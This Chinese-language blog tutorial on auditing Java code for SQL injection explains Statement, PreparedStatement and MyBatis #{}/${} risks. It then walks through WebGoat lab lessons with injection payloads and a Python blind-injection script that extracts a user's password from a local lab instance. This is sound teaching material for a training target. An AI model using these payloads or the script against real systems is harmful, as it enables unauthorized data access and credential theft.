目录

(一)前置知识

0x01  执行 SQL 语句的几种方式

1.Statement 执行 SQL 语句

2、PreparedStatement 执行 SQL 语句

3.MyBatis 执行 SQL 语句

注意:MyBatis 中#{}和${}的区别

总结

(二)SQL Lesson 9

(三) SQL Lesson 10

(四)SQL Lesson (adv) 5

payload

参考资料


(一)前置知识


0x01  执行 SQL 语句的几种方式


在 Java 中执行 SQL 语句一般有以下几种方式:
  • 使用 JDBC 的 java.sql.Statement 执行 SQL 语句。
  • 使用 JDBC 的 java.sql.PreparedStatement 执行 SQL 语句。
  • 使用 Hibernate 执行 SQL 语句。
  • 使用 MyBatis 执行 SQL 语句。

1.Statement 执行 SQL 语句

        java.sql.Statement 是 Java JDBC 下执行 SQL 语句的一种原生方式,执行语句时需要通过拼接来执行。若拼接的语句没有经过过滤,将出现 SQL 注入漏洞。
//注册驱动
Class.forName("oracle.jdbc.driver.OracleDriver");
//获取连接
Connection conn = DriverManager.getConnection(DBURL, DBUser, DBPassWord);
//创建 Statement 对象
Statement state = conn.createStatement();
//执行 SQL
String sql = "SELECT * FROM user WHERE id = '" + id + "'";
state. executeQuery(sql);

2、PreparedStatement 执行 SQL 语句


        PreparedStatement 是继承 statement 的子接口,包含已编译的 SQL 语句。
PreparedStatement 会预处理 SQL 语句,SQL 语句可具有一个或多个 IN 参数。IN 参数的值
在 SQL 语句创建时未被指定,而是为每个 IN 参数保留一个问号(?)作为占位符。每个
问号的值,必须在该语句执行之前通过适当的 setXXX 方法来提供。如果是 int 型则用
setInt 方法,如果是 string 型则用 setString 方法。
       PreparedStatement 预编译的特性使得其执行 SQL 语句要比 Statement 快,SQL 语句会编译在数据库系统中,执行计划会被缓存起来,速度会加快很多。PreparedStatement 预编译还有另一个优势,可以有效地防止 SQL 注入攻击,其相当于Statement 的升级版。

  使用方式如下:

//注册驱动
Class.forName("oracle.jdbc.driver.OracleDriver");
//获取连接
Connection conn =DriverManager.getConnection(DBURL, DBUser, DBPassWord);
//实例化 PreparedStatement 对象
String sql = "SELECT * FROM user WHERE id = ?";
PreparedStatement preparedStatement = connection.prepareStatement(sql);
//设置占位符为 id 变量
preparedStatement.setInt(1,id);
//执行 SQL 语句
ResultSet resultSet = preparedStatement.executeQuery();

3.MyBatis 执行 SQL 语句


Java代码审计前置知识——MyBatis_jinyouxin的博客-CSDN博客
     MyBatis 是一个 Java 持久化框架,它通过 XML 描述符或注解把对象与存储过程或 SQL 语句关联起来,它支持自定义 SQL、存储过程以及高级映射。MyBatis 封装了几乎所有的 JDBC 代码,可以完成设置参数和获取结果集的工作。
     MyBatis 可以通过简单的 XML 或注解将原始类型、接口和 Java POJO(Plain Old Java Objects,普通老式 Java 对象)配置并映射为数据库中的记录。要使用 MyBatis,只需将 mybatis-x.x.x.jar 文件置于类路径(classpath)中即可。
(1)MyBatis 注解存储 SQL 语句
package org.mybatis.example;
public interface BlogMapper { @Select("select * from Blog where id = #{id}") Blog selectBlog(int id);
}
(2)MyBatis 映射存储 SQL 语句
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-
mapper.dtd">
<mapper namespace="org.mybatis.example.BlogMapper"> <select id="selectBlog" parameterType="int" resultType="Blog"> select * from Blog where id = #{id} </select>
</mapper>
(3)定义主体测试代码文件 mybaitstest.java
public class mybaitstest { SqlSessionFactory sessionFactory = null; SqlSession sqlSession = null; { String resource = "com/mybatis/mybatisConfig.xml"; // 加载 mybatis 的配置文件(它也加载关联的映射文件)Reader reader = null; try { reader = Resources.getResourceAsReader(resource); } catch (IOException e) { e.printStackTrace(); } // 构建 sqlSession 的工厂sessionFactory = new SqlSessionFactoryBuilder().build(reader); // 创建能执行映射文件中 SQL 的 sqlSession,默认为手动提交事务,如果使用自动提交,
则加上参数 true sqlSession = sessionFactory.openSession(true); } public void testSelectUser() { String statement = "com.mybatis.userMapper" + ".getUser"; User user = sqlSession.selectOne(statement, "2"); System.out.println(user); } public static void main(String[] args) throws IOException { new mybaitstest().testSelectUser(); }
}
(4)定义 SQL 映射文件 userMapper.xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-
mapper.dtd">
<mapper namespace="com.mybatis.userMapper"> <!-- 根据 id 查询一个 User 对象 --> <select id="getUser" resultType="com.mybatis.sql.User"> select * from users where id=#{id} </select>
</mapper>
(5)定义 MyBatista 的 mybatisConfig.xml 配置文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE configuration PUBLIC "-//mybatis.org//DTD Config 3.0//EN" "http://mybatis.org/dtd/
mybatis-3-config.dtd"> <configuration> <!--设置 Mybatis 打印调试 sql --> <settings> <setting name="logImpl" value="STDOUT_LOGGING" /> </settings> <environments default="development"> <!-- development:开发环境 work:工作模式 --> <environment id="development"> <transactionManager type="JDBC" /> <!-- 数据库连接方式 --> <dataSource type="POOLED"> <property name="driver" value="com.mysql.cj.jdbc.Driver" /> <property name="url" value="jdbc:mysql://192.168.88.20:3306/test?serverTimezone=
UTC" /> <property name="username" value="root" /> <property name="password" value="root" /> </dataSource> </environment> </environments> <!-- 注册表映射文件 --> <mappers> <mapper resource="com/mybatis/userMapper.xml"/> </mappers>
</configuration>
         在测试代码 mybaitstest.java 中通过“String statement = "com.mybatis.userMapper" +
".getUser"”调用了“com.mybatis.sql.User”,在 userMapper.xml 映射文件中执行的是
“select * from users where id = #{id}”,通过测试代码“User user = sqlSession.selectOne
(statement, "2")”将 id 的值设置为 2,运行完成后输出 id 为 2 的数据信息,如图 2-4所示:

图 2-4 输出 id 为 2 的数据信息

注意:MyBatis 中#{}和${}的区别

  1. #{}在底层实现上使用“?”作为占位符来生成 PreparedStatement,也是参数化查询预编译的机制,这样既快又安全。
  2. ${}将传入的数据直接显示生成在 SQL 语句中,类似于字符串拼接,可能会出现 SQL注入的风险。

like、order by和in

在 MyBatis 中#{}是进行参数化查询的,如果在 MyBatis 的 order by子句中使用#{},order by 子句会失效;like 子句中使用#{}程序会报错,例如:“select * from users where name like '%#{user}%'”;为了避免报错只能使用${},例如:“select * from users where  name like '%${user}%'”;但${}可能会存在 SQL 注入漏洞,要避免 SQL 注入漏洞就要 进行过滤。

     MyBatis 框架的 in 子句中使用#{}与${},参数类似于“'user1','user2','user3','user4'”,多个参数时结果也会有不同。在 MyBatis 的 in 子句中使用#{}会将多个参数当作一个整体。
 <mapper namespace="com.mybatis_orderby.userMapper"> <select id="getUser" resultType="com.mybatis_orderby.sql.User"> select * from users where name in (#{user}) </select>
</mapper>
       MyBatis 的 in 子句中使用#{}参数化查询,会将“select * from users where name in (#{user})”转变为“select * from users where name like (''user1','user2','user3','user4'')”,这样 把“'user1','user2','user3','user4'”当作一个整体,偏离了原来的程序设计逻辑,无法查到数据,如图 2-20 所示。

图 2-20 偏离原来的程序设计逻辑
为了避免这个问题,只能使用${},但是${}使用的是字符串拼接的方式很有可能会存在 SQL 注入漏洞。

总结

Statement
createStatement
PrepareStatement
like '%${
in (${
select
update
insert

(二)SQL Lesson 9


前面都是sql注入的介绍,我们直接来看到lesson9,首先请求一下看一下前端请求后端的接口地址.

全局进行一个搜索,我们首先来看PostMapping那一个代码

可以看到直接进行了SQL语句的拼接

我们来打个断点分析一下,可以看到我们输入的内容没有经过任何过滤就直接拼接来进去

然后我们再跟进一下injectableQuery,其实就是下面一个方法,可以看到我们传入的参数给了accountName,我们再来打一下断点看看一下accountName的数值是什么?

可以看到我们传入的数据直接可以通过引号闭合sql语句的引号

SELECT * FROM user_data WHERE first_name = 'John' and last_name = ' + 'Smith or 1='1 + '

然后就可以看到我们所有的数据都回显出来了

(三) SQL Lesson 10


同样的发送请求来定位我们后端的接口

然后在代码中进行一个定位 ,定位到如下的片段

我把代码下载到IDEA里面了,靶场在docker里面部署的,爆红不影响正常的代码分析。

可以看到Login_Count 后面是 ? 这个一看就发现是对数据进行了一个预编,然后后面的代码会将Login_Count转换成数字类型如果没有出错才会进行后续的操作,然后再进行sql语句的执行。

所以这里的注入点是后面的accountname,直接进行了一个拼接,所以我们只需要如下payload即可. 1 or 1=1

后面几关产生原理是相同的,注入类型不同。

(四)SQL Lesson (adv) 5


测试一下登录发现请求是发往/WebGoat/SqlInjectionAdvanced/challenge_Login,来search

可以看到我们的SQL语句中userid和password都进行了预编译,但是还有一个注册功能,我们去看看注册功能,发现在注册的时候进行了参数拼接,直接将username_reg带入到了sql

所以我们来看一下我们的SQL注入语句,我们的SQL语句是如下这样的,我们可以通过 \' 闭合前面的符号:

"select userid from sql_challenge_users where userid = '" + username_reg + "'"

例如 :

  • 下面是闭合情况,那么我们如果根据回显信息来获取我们需要的tom的密码呢?
select userid from sql_challenge_users where userid =' + tom' and '1'='1 +'

我们可以采用类似布尔盲注的思路,前提得知已有tom这个账号

tom' and '1'='2 真 and 假 这样结果就是为假这样的话数据库查询就无法查找出信息,就会执行else语句显示user.created

tom' and '1'='1 真 and 真 这样结果就是为真数据库就会查询出结果,执行if语句回显user.exists

文字有可能不是很清楚我们来看例子:

我们来打一下断点分析一下

我们先来尝试假的 用户名为 tom' and '1'='2

可以看到直接来到了else这里

回显结果如下

接下来尝试tom' and '1'='1 也就是真的情况 执行了if语句

同时返回信息

前端有回显

payload

import requests
import stringcookies = {}
cookies["JSESSIONID"]="ynf4xx_jMxXI87sBDW2VRtRvZJhdV9tsQXE6kNEF"
enums = string.ascii_lowercase + string.digits + "." + "_" + ","
i = 1
while True:flag = 0for value in enums:sql_value = "tom\' and substring(password,{},1)=\'{}".format(i,value)url = "http://localhost:8081/WebGoat/SqlInjectionAdvanced/challenge"put_data = {"username_reg":sql_value,"email_reg":"123@123","password_reg":"test","confirm_password_reg":"test"}req = requests.put(url,data=put_data,cookies=cookies)text = req.textif "already exists" in text:print(value,end='')i+=1flag = 1if flag == 0:break

参考资料

JAVA代码审计之WebGoat靶场SQL注入_Tr0e的博客-CSDN博客

JAVA代码审计——SQL注入靶场审计01相关推荐

  1. java 防止sql注入_Java中SQL注入以及如何轻松防止它

    java 防止sql注入 什么是SQL注入? (What is SQL Injection?) SQL Injection is one of the top 10 web application v ...

  2. 关于SQL注入靶场搭建及过关教程

    关于SQL注入靶场搭建及过关教程 1.需要环境: 下载安装VMware,在虚拟机上布置虚拟机win7或winXP(个人推荐win7,使用界面与现在的win10界面较为相似,使用起来比较舒适) Win7 ...

  3. 一次简单的SQL注入靶场练习

    一次简单的SQL注入靶场练习 文章目录 一次简单的SQL注入靶场练习 前言 一.靶机下载 二.靶场渗透 1.端口扫描 总结 前言 为了巩固SQL注入以及实战演练的需要,我们来做一次简单的关于SQL注入 ...

  4. JAVA代码审计之WebGoat靶场SQL注入

    文章目录 前言 WebGoat IDEA部署靶场 No.1 回显注入 No.2 布尔盲注 No.3 Order by 代审技巧 SQL注入挖掘 SQL注入防御 Fortify体验 总结 前言 为了从自 ...

  5. PHP代码审计-sql注入

    文章目录 前言 sql注入 字符型注入 魔术引号 编码注入 base64编码 url编码 宽字节注入 过滤方法 代码审计实战 前言 最近想学代码审计了,但是我本身的代码水平不高,学的比较基础,适合入门 ...

  6. 【网络安全】php代码审计-sql注入进阶篇

    前言 经过上一篇文章我们已经大概的了解sql注入去怎样审计了.但是在实际的网站中和用户的输入输出接口不可能想那样没有防御措施的.现在各大网站都在使用waf对网站或者APP的业务流量进行恶意特征识别及防 ...

  7. java mysql sql注入_Java防SQL注入MySQL数据查询

    /** * */ package user.DAO; import java.sql.*; import user.entity.User; /** *//** * 用户数据访问层 * @author ...

  8. java 最新sql注入原因以及预防方案(易理解)

    前沿 在现有的框架中sql防注入已经做得很好了,我们需要做的就是尽量不要使用sql拼接调用 java sql注入原因以及预防方案(易理解) 1. SQL注入 1.1 原理 SQL注入是通过客户端的输入 ...

  9. MySQL for Java的SQL注入测试

    2019独角兽企业重金招聘Python工程师标准>>> 只要你学JDBC,基本上所有的人都会和你说,Statement不能防止SQL注入, PreparedStatement能够防止 ...

  10. java 防止sql注入的方法(非原创)

    一.SQL注入简介       SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库. 二.SQL注 ...

最新文章

  1. java lock的原理,Java中Lock原理探究
  2. Java基础 —— 异常
  3. 美团技术专家云鹏:写给工程师的十条精进原则!
  4. python头文件库_跟老齐学Python之不要红头文件(1)
  5. 3.9 训练一个 Softmax 分类器
  6. 移动端点击输入框,弹出键盘,底部被顶起问题(vue)
  7. Response.ContentType 控制输出文件类型(讨论下载文件问题)
  8. user guide for Coverity Wizard
  9. edge打开pdf不显示印章_edge打开pdf后,draw功能栏怎么没了?
  10. SQL 分组排序group by
  11. 手游方舟重启维护服务器要多久,方舟生存进化手游日常维护多久
  12. 算法-“许三多”方法
  13. 【html5基础学习速成】
  14. 天耀18期 -08.面向对象-上转型【作业】
  15. 【真北直播预报】让你的对话更有力,使十维宇宙不坠落
  16. 【Python】根据多个列同时进行多条件筛选数据
  17. 周志华《机器学习》第三章课后习题
  18. phpMyAdmin - 配置文件权限错误,不应任何用户都能修改!
  19. jar not loaded. See Servlet Spec 2.3, section 9.7.2. Offending class: javax/servlet/Servlet.class
  20. 潘麟-打通周天不稀奇

热门文章

  1. Linux 配置SSH免密登录
  2. PDF文件如何加密?分享两种好用方法
  3. 读《虚幻引擎程序设计浅析》笔记
  4. 前端学习——静态网页制作
  5. android模拟程序被杀死,Android模拟后台进程被杀
  6. Python 后台启动程序
  7. 360路由器设置网段ip
  8. Android Studio App设置Activity背景图片
  9. 罗技键盘的insert键需要按住Fn才能生效?教你修改!
  10. Oculus客户端在Win10上面无法安装或者登陆的解决方法